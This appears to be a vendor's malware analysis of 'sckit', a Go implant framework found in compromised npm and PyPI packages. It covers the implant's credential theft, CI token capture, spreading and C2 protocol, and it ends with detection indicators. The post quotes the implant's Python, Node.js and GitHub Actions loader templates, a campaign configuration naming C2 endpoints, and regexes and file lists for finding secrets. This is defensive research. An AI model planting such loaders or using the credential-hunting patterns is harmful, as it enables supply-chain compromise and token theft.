sckit: A New Go Implant Framework for Supply Chain Worms

SafeDep Team12 min read

sckit, also known as the “supplychain.local worm”, is a Go implant framework that we found in two MemTensor packages on September 23, 2026. It runs on Linux, macOS, and Windows. It collects credentials from developer machines and from CI jobs. It receives signed tasks from a command and control (C2) server. It also contains templates to install itself in npm packages, Python packages, and GitHub Actions workflows. The code and infrastructure do not match a known malware family. The operator built a separate binary for each target, and registered the C2 domain eight days before the attack. We think that the operator will use this framework again.

We first saw sckit in the MemTensor npm and PyPI compromise. That post explains how the attacker stole the publish tokens and shipped the implant. This post covers the implant: the framework layout, the capabilities we can see, the limits of our analysis, and indicators that you can use to find sckit in other places.

Method

We used these sources:

  • The loader code in @memtensor/memos-cloud-openclaw-plugin@0.1.25 (npm) and MemoryOS@2.0.34 (PyPI).
  • The decoded campaign configuration that each loader gives to the implant.
  • The Go build information in the binary (.go.buildinfo).
  • The Go function table (.gopclntab). The binaries have no Executable and Linkable Format (ELF) symbol table, but Go keeps function names in this table for stack traces. We parsed the table with a short Python script. It gave 7,259 functions for the npm build and 7,303 for the PyPI build. Some implant function names have no separate function entry, because the compiler copied their code into the functions that call them. We list those names too, and we checked each name in this post against the binary.
  • Strings in the binary.

Function names show intent, and the code can behave differently. So each capability in this post has one of three labels:

  • Confirmed means that we read the code that does it (loader or CI script).
  • Indicated means that function names and strings in the implant show it.
  • Unknown means that we have no evidence.

Evidence for a new framework

These facts come from the artifacts:

  • The Go module path is supplychain.local/campaign. It is not a public module, and GitHub code search finds no copy of it. The .local suffix identifies local network names and does not resolve through public DNS. So supplychain.local is a project name that the author chose, and the operator does not control a domain with this name.
  • The implant uses its own schema identifiers, such as sckit.control.v1 and sckit.admission.v1. Search finds these nowhere else.
  • We found no code or infrastructure in common with the Shai-Hulud worms or other publicly reported npm worms.
  • The registration date for the C2 parent domain skyleen[.]fr is September 15, 2026. An unrelated developer used this name in the past. We think that the operator registered the domain again after it expired.

This is our inference. The framework has many parts, a versioned protocol, and a configuration for each campaign. A single-use tool does not need these parts. The researcher who reported the npm compromise suggested that a language model wrote the tooling. The code style agrees with that idea, but we cannot prove it.

Build information

The build information is the same for all binaries except for the target OS and CPU:

# go.buildinfo, linux-amd64/sckit (npm 0.1.25)
go1.27.1
path	supplychain.local/campaign/cmd/implant
mod	supplychain.local/campaign	(devel)
dep	golang.org/x/crypto	v0.55.0	h1:+KWHjbgOaAQ66dh/YlkZKHlz9ZUlq61AFirAR9ntP8M=
dep	golang.org/x/sys	v0.47.0	h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
build	-buildmode=exe
build	-compiler=gc
build	-trimpath=true
build	CGO_ENABLED=0
build	GOARCH=amd64
build	GOOS=linux

The build uses -trimpath and no cgo. This removes local file paths and gives one static binary with no external library dependencies. Each package has six builds, for linux, darwin, and windows on amd64 and arm64. Each binary is between 6.8 MB and 7.7 MB.

Framework layout

The internal/wire package uses Concise Binary Object Representation (CBOR) for C2 messages. The function table shows five packages under the module:

The implant has two command-line modes. The usage string names the first one:

# strings, linux-amd64/sckit (npm 0.1.25 and PyPI 2.0.34)
usage: sckit stage0 <-config path|-config64 value>
campaign runtime requires semi-nuclear
  • stage0 is the mode that runs on developer machines. Both loaders start this mode.
  • initial-ci-emit is the mode that runs in CI. Only the PyPI build has this string. The PyPI CI script downloads the implant and starts it in this mode. The MemOS post shows that script.

The second string shows that the runtime refuses to start unless the configuration profile is semi-nuclear. Both MemTensor configurations use this profile.

Differences between the two builds

The npm build and the PyPI build have 121 and 143 functions in the supplychain.local/campaign module. The PyPI build adds the internal/ciemit package:

// Recovered function names, internal/ciemit (PyPI 2.0.34 build only).
// These are names from .gopclntab, not source code.
ciemit.Prepare
ciemit.BestEffortCommand
ciemit.command
ciemit.commandWithAuthority
ciemit.bestEffort
ciemit.readSigned
ciemit.strictJSON
ciemit.checkJSONValue
ciemit.executableDigest
ciemit.boundedRead
ciemit.digest
ciemit.validString

The PyPI build also has five schema identifiers and one output marker for this CI mode. The npm build has none of them:

# strings, linux-amd64/sckit (PyPI 2.0.34 only)
sckit.initial-ci.v2
sckit.initial-ci-execution-context.v2
sckit.initial-ci-module-result.v2
sckit.initial-ci-producer-trust.v2
sckit.initial-ci-source-permit.v2
SCKIT_CI_RESULT_V2

The npm campaign did not need the CI mode in the implant, because the npm bridge script sent the token through stage0. We think that the operator selects the parts of the framework for each target and builds a new binary.

Campaign configuration

Each loader gives the implant one base64 JSON argument. The configuration uses the schema sckit.runtime.v1. This is the decoded configuration from the PyPI package. We removed the empty fields and kept one of the three C2 servers:

{
  "schema": "sckit.runtime.v1",
  "campaign_id": "memos-semi-nuclear",
  "product": "memos",
  "version": "2.0.34",
  "channel": "MemoryOS/v*-release",
  "profile": "semi-nuclear",
  "root_public": "gZIXrn82xCVrNmG1fwKVB53ospCTIIwBiPOrSyG+DvE",
  "stage0_digest": "pmBMOn4CHXalbt5yVGs7FTKmcMonkpAFTJFtefwPNWk",
  "state_dir": "$HOME/.memos/.cache/runtime",
  "inventory_roots": ["$HOME"],
  "fronts": [
    {
      "base_url": "https://c747d139e7e9.skyleen.fr",
      "control_path": "/24ffe6fe9644e7fc6ec8abd3/config",
      "preflight_path": "/24ffe6fe9644e7fc6ec8abd3/status",
      "result_path": "/24ffe6fe9644e7fc6ec8abd3/batch"
    }
  ],
  "not_after": 1792724380
}

The fields tell us how the operator uses one binary for many targets:

Capabilities

Execution on the host (confirmed)

The loaders start the implant as a separate process, with no output, and with the full process environment. The Node.js loader does this when the OpenClaw gateway starts and on each memory recall. The Python loader does this the first time that the library configures logging. The OpenClaw loader also gives the user’s prompt text to the implant in the environment variable SCKIT_EVENT_TEXT. The implant has a matching function, (*Runtime).eventText. So the implant can read the text that users send to their AI agent.

Credential collection (indicated)

The agent package has these functions:

// Recovered function names, internal/agent (both builds)
agent.credentials
agent.credentialPaths
agent.credentialFile
agent.readCredentialFile
agent.credentialsFromFile
agent.extractJSONCredentials
agent.environmentNames
agent.hasCredential
agent.artifacts
agent.artifactMatch
agent.supportedArtifactCategory

The binary contains the names of common credential files: .npmrc, .pypirc, .git-credentials, .netrc, id_rsa, id_ecdsa, id_ed25519, .vault-token, msal_token_cache, access_tokens.json, and access_tokens.db. The last three are token caches of the Azure and Google Cloud command-line tools. The binary also contains the strings credential-collector and artifact-collector, which look like names of collection modules.

The binary has two regular expressions. The first finds names of variables that hold secrets:

# strings, linux-amd64/sckit (npm 0.1.25)
(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))

The second finds known token formats in text. It matches JSON Web Tokens and tokens for AWS, GitHub, GitLab, npm, PyPI, Hugging Face, HashiCorp Vault, Slack, Stripe, and SendGrid:

# strings, linux-amd64/sckit (npm 0.1.25)
(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])

Publish tokens for npm and PyPI are in the list. These are the credentials that the worm needs to spread.

CI token capture (confirmed)

In CI, a bridge script runs before the real publish step and gives the publish token to the implant. Then it stops the publish. The PyPI build has the ciemit package and the initial-ci-emit mode for this work. The MemOS post shows both bridge scripts and explains how they use BASH_ENV.

Spreading to other projects (indicated)

The agent package has functions to find repositories, prepare them, and publish:

// Recovered function names, internal/agent (both builds)
agent.findRepositories
agent.PrepareRemoteRepository
agent.PrepareRemoteRepositoryTarget
agent.prepareRemoteNode
agent.prepareRemotePython
agent.prepareRemoteWorkflow
agent.pythonImportPackage
agent.remoteSidecars
agent.remoteHashes
agent.copyRemoteFile
agent.writeRemoteFile
agent.runGit
agent.runGitWithIdentity
agent.recursivePublish

The binary contains three loader templates. They match these functions. The Python template runs the implant from an imported package:

# template string in linux-amd64/sckit (npm 0.1.25)
try:
    import os as _o, pathlib as _p, platform as _pl, subprocess as _sp
    _a = {"x86_64":"amd64","aarch64":"arm64","AMD64":"amd64","ARM64":"arm64"}.get(_pl.machine(), _pl.machine())
    _b = _p.Path(__file__).resolve().parent / %q / (f"{_pl.system().lower()}-{_a}") / ("sckit.exe" if _o.name == "nt" else "sckit")
    if _b.exists(): _sp.Popen([str(_b),"stage0","--config64",%q], stdin=_sp.DEVNULL,stdout=_sp.DEVNULL,stderr=_sp.DEVNULL,start_new_session=True)
except Exception:
    pass

The Node.js template runs the implant from a bin/ directory:

// template string in linux-amd64/sckit (npm 0.1.25)
const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");

The GitHub Actions template runs the implant on each push:

# template string in linux-amd64/sckit (npm 0.1.25)
name: %s
on: [push]
jobs:
  update:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - run: ./%s/linux-amd64/sckit stage0 --config64 %q

The file name runtime-update.yml is also in the binary. We think that it is the name of this workflow file. Other strings agree with the publish functions: GIT_AUTHOR_NAME=%s, --ignore-scripts, twine, poetry, and .sckit-copy-*.

The implant fills in the %q values at run time. So a new victim gets a new configuration, with a new campaign identifier and possibly new C2 servers. We do not know if the implant spreads by itself or only on a command from the operator. The signed leases in the C2 protocol suggest that the operator controls it.

Host profiling and victim filtering (indicated)

// Recovered function names, internal/agent (both builds)
agent.HostID
agent.hostProfile
agent.hostProfileIP
agent.hostProfileInterfaces
agent.hostProfileLanguages
agent.hostProfileTimezone
agent.hostProfileText
agent.hostPrivilegeHints
(*Runtime).languageTags
(*Runtime).inputMethodTags

The implant collects the host name, IP addresses, network interfaces, time zone, languages, and keyboard input methods. It also checks for administrator rights. The strings root-username, administrator-username, and windows-system-sid are in the binary. The environment variable SCKIT_INPUT_METHODS is also in the binary.

Three fields are for victim filtering:

# strings, linux-amd64/sckit (both builds)
geo_iso
deny_iso
ja4_deny

We think that geo_iso and deny_iso let the operator allow or block countries. JA4 is a method to identify Transport Layer Security (TLS) clients. ja4_deny probably lets the server reject known analysis tools or sandboxes. Language, time zone, and input method data can also help the operator skip some regions.

C2 protocol (indicated)

The wire package has the message types and the encryption:

// Recovered function names, internal/wire (both builds)
wire.Marshal
wire.Unmarshal
wire.GenerateX25519
wire.makeAEAD
wire.SealBound
wire.OpenBound
wire.Signed.Verify
wire.VerifyBinding
wire.VerifyHandshakeBinding
wire.(*Request).Sign
wire.Admission.Bytes
wire.ParseLease
wire.ParseManifest
wire.ParseAck
wire.ParseResponse
wire.ResultBytes

Protocol strings from the binary:

# strings, linux-amd64/sckit (both builds)
sckit.control.v1
sckit.admission.v1
sckit.module-result.v1
sckit.tombstone.v1
sckit/xchacha/v1
application/cbor
Idempotency-Key
lease_signing_pub
lease_signature
result_x25519_pub
max_activations
max_offline_until
host_bucket_range
one_shot
controller disposition
non-monotonic manifest
module digest mismatch

This is our reading of the protocol. The implant sends an admission request with its host profile. If the server accepts the host, it sends a signed lease. The lease limits how many times and for how long the implant can work (max_activations, max_offline_until). The server then sends a manifest of modules. The implant checks the digest of each module and rejects old manifests. It sends the results back, encrypted with a key from an X25519 key exchange and XChaCha20-Poly1305.

The implant checks server signatures. A researcher who runs a fake server cannot send it tasks without the operator’s signing key.

Remote modules (unknown)

The functions ParseModule, Execute, oneShotModule, and pendingModule show that the server sends modules to the implant. We do not know what these modules do. The C2 subdomains now resolve to 127.0.0.1, and we have no record of their traffic. So the full capability set of sckit is not in the binary, and it can change from one campaign to the next.

State and cleanup (indicated)

// Recovered function names, internal/agent (both builds)
(*StateStore).LoadOrCreate
(*StateStore).Write
(*StateStore).Cleanup
(*StateStore).Tombstone
agent.scheduleSelfDelete
agent.deleteExecutable

The implant keeps state in the state_dir from its configuration. It has functions to remove its state and its own binary. The sckit.tombstone.v1 schema suggests that it writes a marker to tell other copies not to run again on the same host.

What we do not know

  • What the server modules do.
  • Whether spreading is automatic or needs approval from the operator.
  • Whether there are victims other than MemTensor. GitHub code search finds no other copy of the loaders or templates. But code search only indexes default branches, and this operator used tags and short-lived branches.
  • How the implant uses root_public and stage0_digest. Our explanations in the configuration table are inferences.
  • The purpose of internal/presentation.Resolve.

Detection

On developer machines:

  • A process with the command line sckit stage0 --config64 <base64>.
  • A process environment that contains SCKIT_EVENT_TEXT.
  • A .sckit/ directory with <os>-<arch>/sckit binaries inside node_modules or site-packages.
  • The directories $HOME/.openclaw/.cache/runtime or $HOME/.memos/.cache/runtime. Other campaigns will probably use other directories under .cache/runtime.

In CI:

  • A step that writes BASH_ENV= to $GITHUB_ENV.
  • A build backend loaded from the repository (backend-path = ["."]) that you did not add.
  • Log lines that contain SCKit credential receipt, SCKIT_CI_RESULT_V2, or SCKIT_CI_OBSERVATION_V2.
  • A publish step that fails with no clear cause, followed by a package version that you did not publish.

In repositories:

  • A workflow file named runtime-update.yml that runs sckit stage0.
  • Files named lib/sckit.js, _stage0.py, _pypi_bridge.sh, sckit-publish-bridge.sh, or sckit_poetry_build.py.

In binaries:

  • The Go module path supplychain.local/campaign in the build information.
  • The schema identifiers in the indicators of compromise table below. They are unique to this framework.

Indicators of compromise

Implant binaries

Framework strings

Infrastructure

References

  • malware-analysis
  • supply-chain
  • github-actions
  • npm
  • pypi

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.